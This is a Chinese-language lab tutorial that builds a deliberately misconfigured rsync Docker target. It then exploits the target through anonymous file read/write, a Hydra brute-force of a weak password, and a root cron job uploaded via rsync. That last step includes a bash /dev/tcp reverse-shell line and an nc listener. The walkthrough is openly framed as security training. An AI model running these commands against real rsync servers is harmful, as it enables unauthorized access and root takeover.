从 Docker 一键搭建集成靶场,到未授权访问、弱口令、计划任务提权三大核心脆弱性的分步复现,每一步都附可直接复制的命令,帮你快速打通 "靶场搭建 - 脆弱性识别 - 权限获取变化" 的完整利用流程,无论是新手入门还是红蓝对抗学习前的复盘都能直接复用。
文章目录
-
- 前置准备
- 基础环境准备
- [rsync 未授权访问](#rsync 未授权访问)
-
- [1. 信息收集:探测目标 Rsync 服务](#1. 信息收集:探测目标 Rsync 服务)
- [2. 枚举目标所有共享模块](#2. 枚举目标所有共享模块)
- [3. 查看未授权模块内的文件](#3. 查看未授权模块内的文件)
- [4. 读取(下载) / 写入(上传)服务端文件](#4. 读取(下载) / 写入(上传)服务端文件)
- [rsync 弱口令](#rsync 弱口令)
-
- [1. 实验前提](#1. 实验前提)
- [2. 探测服务并枚举共享模块](#2. 探测服务并枚举共享模块)
- [3. 无认证访问测试(验证鉴权生效)](#3. 无认证访问测试(验证鉴权生效))
- [4. 登录后读写文件(验证权限)](#4. 登录后读写文件(验证权限))
- [5. Hydra 暴力破解弱口令(核心利用)](#5. Hydra 暴力破解弱口令(核心利用))
-
- 场景1:已知用户名(本次实验推荐)
- 场景2:未知用户名(批量字典测试账号+密码)
- 执行字典测试命令
- [① 已知用户名,只尝试密码(本次实验)](#① 已知用户名,只尝试密码(本次实验))
- [② 未知用户名,账号+密码](#② 未知用户名,账号+密码)
- 查看结果
- [rsync 写入计划任务实现权限提升](#rsync 写入计划任务实现权限提升)
-
- 原理讲解
- [1. 验证 cron 模块可匿名访问](#1. 验证 cron 模块可匿名访问)
- [2. 查看 cron 目录原有文件](#2. 查看 cron 目录原有文件)
- [3. 本地创建测试定时任务文件(验证执行效果)](#3. 本地创建测试定时任务文件(验证执行效果))
- [4. 上传任务文件到目标 cron 目录](#4. 上传任务文件到目标 cron 目录)
- [5. 验证文件上传成功](#5. 验证文件上传成功)
- [6. 进入容器验证任务执行(可选,确认效果)](#6. 进入容器验证任务执行(可选,确认效果))
- 实战利用:写入定时任务实现远程交互测试(提权核心)
- 总结
前置准备
为了复现 rsync 未授权访问、rsync 弱口令以及通过 rsync 写入计划任务实现提权 等安全问题,本文基于 Docker 搭建 rsync 靶场环境。
实验环境采用 Docker 容器模拟存在安全配置缺陷的 rsync 服务,通过配置匿名访问模块、弱口令认证模块以及可写入计划任务目录,实现多种 rsync 场景复现。
- 当然也可以使用
Vulfocus 靶场,具体的搭建步骤可以看该文章:Docker 环境下 Vulfocus 靶场搭建全流程(附镜像源问题解决方案)
免责声明
温馨提示:本文所有内容仅用于网络安全学习、攻防演练、渗透测试实训,请勿用于未授权的非法测试与攻击行为,请严格遵守《网络安全法》等相关法律法规。
基础环境准备
确保服务器已安装Docker,执行命令检查版本:
bash
docker -v
一、配置Docker国内镜像加速(解决拉取超时)
修改Docker配置文件,配置稳定国内加速源:
bash
vim /etc/docker/daemon.json
写入以下配置:
json
{
"registry-mirrors": [
"https://docker.m.daocloud.io",
"https://dockerproxy.com"
]
}
重启Docker生效配置:
bash
systemctl restart docker
二、创建靶场工作目录
新建并进入靶场专属目录,统一存放所有配置文件:
bash
mkdir -p rsync-vuln && cd rsync-vuln
三、创建靶场核心配置文件
- 编写Dockerfile(构建镜像)
bash
vim Dockerfile
写入完整镜像构建配置:
bash
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt update && apt install -y \
rsync \
openssh-server \
cron \
net-tools \
vim \
curl \
python3 \
&& rm -rf /var/lib/apt/lists/*
# 解决rsync pid运行异常问题
RUN mkdir -p /run/rsync
# 创建测试场景所需目录
RUN mkdir -p \
/data/public \
/data/private \
/etc/rsync
# 生成未授权访问测试flag文件
RUN echo "flag{rsync_vuln_lab}" > /data/public/flag.txt
# 创建弱口令认证用户
RUN useradd rsyncuser && echo "rsyncuser:123456" | chpasswd
# 导入配置文件
COPY rsyncd.conf /etc/rsyncd.conf
COPY users.passwd /etc/rsync.passwd
RUN chmod 600 /etc/rsync.passwd
# 导入启动脚本并授权
COPY docker-entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 873
CMD ["/entrypoint.sh"]
- 编写容器启动脚本
bash
vim docker-entrypoint.sh
写入脚本内容:
bash
#!/bin/bash
# 启动定时任务服务
service cron start
# 前台启动rsync服务
rsync --daemon --no-detach
- 编写Rsync核心配置
bash
vim rsyncd.conf
写入集成三种测试场景的完整配置:
bash
uid = root
gid = root
use chroot = no
max connections = 10
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log
# 1. 未授权访问模块(无认证、可读写)
[public]
path = /data/public
comment = anonymous module
read only = false
list = true
auth users =
# 2. 弱口令认证模块
[private]
path = /data/private
comment = password module
read only = false
list = true
auth users = rsyncuser
secrets file = /etc/rsync.passwd
# 3. Cron计划任务写入提权模块
[cron]
path = /etc/cron.d
read only = false
list = true
- 创建弱口令密码文件
bash
vim users.passwd
写入账号密码(弱口令:123456):
bash
rsyncuser:123456
四、构建镜像并启动靶场
bash
# 拉取基础镜像
docker pull ubuntu:22.04
# 构建镜像
docker build -t rsync-vuln .
# 启动靶场容器
docker run -d \
--name rsync-lab \
-p 873:873 \
--privileged \
rsync-vuln
执行后结果如下:
拉取基础镜像:

启动靶场容器:

本次搭建的靶场默认开启三种可直接复现的测试场景,无需额外配置:
-
未授权访问:public模块未配置认证用户,read only=false,攻击者可任意读写目录文件、获取flag
-
弱口令测试:private模块绑定认证用户rsyncuser,固定弱口令123456,可通过hydra等工具字典尝试登录
-
计划任务提权:cron模块映射系统定时任务目录,以root权限运行,可写入测试任务实现权限提升
话不多说,我们直接开始
rsync 未授权访问
Rsync是Linux下⼀款数据备份⼯具,它在同步⽂件的同时,可以保持原来⽂件的权限、时间、软硬链接等附加信息。同时⽀持通过rsync协议、ssh协议进⾏远程⽂件传输。常被⽤于在内⽹进⾏源代码的分发及同步更新,因此使⽤⼈群多为开发⼈员。
其中rsync协议默认监听873端⼝,⽽⼀般开发⼈员安全意识薄弱的情况下,如果⽬标开启了rsync服务,并且没有配置ACL或访问密码,⽽rsync默认是root权限,我们将可以读写⽬标服务器⽂件。
1. 信息收集:探测目标 Rsync 服务
这里我们扫描目标 873 端口,确认 rsync 服务开放:
bash
nmap -sV -p 873 -T4 -A 靶机IP

2. 枚举目标所有共享模块
未授权状态下,直接列出服务端全部共享模块(public 为未授权访问模块):
bash
rsync 靶机IP::
# nmap命令
nmap -sV --script "rsync-list-modules" -p 873 靶机IP
这里我们可以得到结果:

3. 查看未授权模块内的文件
查看 public 模块下所有文件:
bash
rsync --list-only 靶机IP::public
成功访问到了敏感文件:

4. 读取(下载) / 写入(上传)服务端文件
(1)将服务端 public 目录下的 flag.txt 下载到本地当前目录:
bash
rsync 靶机IP::public/flag.txt ./
实现结果:

(2)因为该环境 read only = false,支持任意文件上传,验证写入:
bash
# 本地创建测试文件
echo "rsync unauthorized test" > local_test.txt
# 上传文件到目标 public 模块
rsync ./local_test.txt 靶机IP::public
# 验证文件是否上传成功,再次列举目录,确认文件已写入服务端
rsync --list-only 靶机IP::public
可以看到成功上传了文件(作为拓展,我们也可以上传自定义测试文件到目标服务器,验证文件写入权限,从而进行远程控制)

至此,我们验证下一章节;
rsync 弱口令
1. 实验前提
- 靶场容器正常运行,将文中
<靶机IP>替换为你的靶机真实地址,873端口对外开放; - 客户端需安装工具:
rsync、nmap、hydra(Kali 默认自带;Ubuntu/Debian 执行apt install hydra -y安装); - 目标模块:
private,环境预设账号:rsyncuser,弱口令:123456。
2. 探测服务并枚举共享模块
先确认目标 rsync 服务及 private 认证模块存在
bash
# 扫描873端口
nmap -p 873 靶机IP
# 枚举所有共享模块
rsync 靶机IP::
正常输出会看到 private password module。

3. 无认证访问测试(验证鉴权生效)
直接访问 private 模块,会触发认证失败,证明该模块必须账号密码登录
bash
rsync --list-only 靶机IP::private
报错提示类似:auth failed on module private。

可以看到也是需要密码进行验证;
4. 登录后读写文件(验证权限)
依托获取到的账号密码,实现文件上传、下载,和未授权访问利用逻辑一致
bash
# 1. 本地新建测试文件(里面是获取到的账号密码)
echo "123456" > pass.txt
# 2. 修改密码文件权限(rsync 硬性要求,必须 600)
chmod 600 pass.txt
# 2. 上传文件到目标 private 模块
rsync --password-file=./pass.txt ./weak_test.txt rsyncuser@靶机IP::private
# 3. 查看上传结果
rsync --password-file=./pass.txt --list-only rsyncuser@靶机IP::private
# 4. 下载服务端文件到本地
rsync --password-file=./pass.txt rsyncuser@靶机IP::private/weak_test.txt ./
得到结果:

5. Hydra 暴力破解弱口令(核心利用)
攻击者在未知密码时,通过字典测试获取用户信息。
场景1:已知用户名(本次实验推荐)
新建密码字典 pwd.txt,写入常见弱口令:
bash
vim pwd.txt
字典内容示例:
123456
123321
666666
password
admin
root
场景2:未知用户名(批量字典测试账号+密码)
额外新建用户名字典 user.txt,写入常见账号:
bash
vim user.txt
内容示例:
rsyncuser
admin
root
test
执行字典测试命令
① 已知用户名,只尝试密码(本次实验)
bash
hydra -l rsyncuser -P pwd.txt -s 873 靶机IP rsync -vV
参数说明:
-l:指定单个用户名-P:加载密码字典rsync:指定协议(默认端口873)-vV:显示详细过程
② 未知用户名,账号+密码
bash
hydra -L user.txt -P pwd.txt -s 873 靶机IP rsync -vV
参数说明:-L 加载用户名字典。
查看结果
[873][rsync] host: <靶机IP> login: rsyncuser password: 123456
成功后会输出如下信息,即可拿到有效账号密码;
rsync 写入计划任务实现权限提升
原理讲解
靶场中 [cron] 模块映射系统 /etc/cron.d 定时任务目录,配置为:
uid=root、gid=root:rsync 以 root 权限运行read only = false:允许上传文件- 无身份认证,匿名可访问
/etc/cron.d 目录下的文件会被系统 cron 服务定时解析执行。我们可以上传测试定时任务文件,让目标主机定时执行指定命令,以此验证权限提升风险。
前置条件:靶场容器正常运行、目标
873端口通;本机为 Kali/Linux,自带rsync、nc。
1. 验证 cron 模块可匿名访问
枚举所有共享模块,确认 cron 模块存在:
bash
rsync 靶机IP::

输出能看到 cron 模块即为正常。
2. 查看 cron 目录原有文件
bash
rsync --list-only 靶机IP::cron

当前目录为空,准备写入测试任务。
3. 本地创建测试定时任务文件(验证执行效果)
先通过简单命令测试定时任务是否生效,排查格式、权限问题。在当前目录新建 task 文件(文件名自定义,不要带特殊字符):
bash
vim task
# 写入 **cron 标准格式内容**(重点:`/etc/cron.d` 规则要求**必须指定执行用户**)
* * * * * root echo "rsync cron exploit success" >> /tmp/cron_success.log
作用:每分钟以 root 用户执行,往 /tmp 写入日志
分 时 日 月 周 执行用户 命令* * * * *= 每分钟执行一次,方便快速观察结果。
4. 上传任务文件到目标 cron 目录
直接匿名上传(无需账号密码):
bash
rsync ./task 靶机IP::cron
5. 验证文件上传成功
bash
rsync --list-only 靶机IP::cron

列表中出现 task,说明写入成功。
6. 进入容器验证任务执行(可选,确认效果)
进入靶场容器:
bash
docker exec -it rsync-lab /bin/bash

等待 1~2 分钟,查看生成的日志文件:
bash
cat /tmp/cron_success.log
能看到 rsync cron exploit success 内容,代表定时任务正常执行,利用成立。
实战利用:写入定时任务实现远程交互测试(提权核心)
(1)本环节模拟服务端主动发起网络连接,用于学习权限提升后的网络交互逻辑,仅作安全实训使用
bash
# Kali开启端口监听(Kali 端)
nc -lvvp 4444
保持该窗口不要关闭,等待靶机主动连接。
(2)本地编写定时交互任务:替换说明:把 你的本机IP 改成你当前 Kali 的公网/同网段 IP。
bash
vim shell_task
# 写入以下内容
* * * * * root /bin/bash -i >& /dev/tcp/你的本机IP/4444 0>&1
(3)上传反弹任务到目标 cron 模块
bash
rsync ./shell_task 靶机IP::cron
(4)观察连接状态
- 等待 1 分钟内(每分钟执行一次任务);
- 查看之前
nc监听窗口,成功收到连接,直接获得 root 权限 Shell; - 执行
id、whoami验证权限:
bash
id
whoami
输出 uid=0(root) 即提权成功。
清理测试文件(恢复靶场环境)
通过 rsync 删除远程测试文件
bash
# 删除测试任务
rsync --delete ./task 靶机IP::cron
# 删除反弹任务
rsync --delete ./shell_task 靶机IP::cron
总结
至此,你已完成 Rsync 三大高危脆弱性的全流程攻防复现,从靶场环境搭建到提权利用,完整还原了渗透测试中文件传输服务的典型攻击路径。在真实攻防演练与 hVV 场景中,这类配置不当导致的安全缺陷,往往是攻击者突破边界、实现权限提升的关键突破口。
希望通过本次实验,你不仅掌握了漏洞的利用手法,更能理解 "最小权限原则" 在服务配置中的重要性。后续你可以尝试基于本靶场扩展更多利用场景,也可以反向模拟防御侧的加固与检测方案,在攻防对抗中深化对这类漏洞的理解,为后续的渗透测试实战筑牢基础。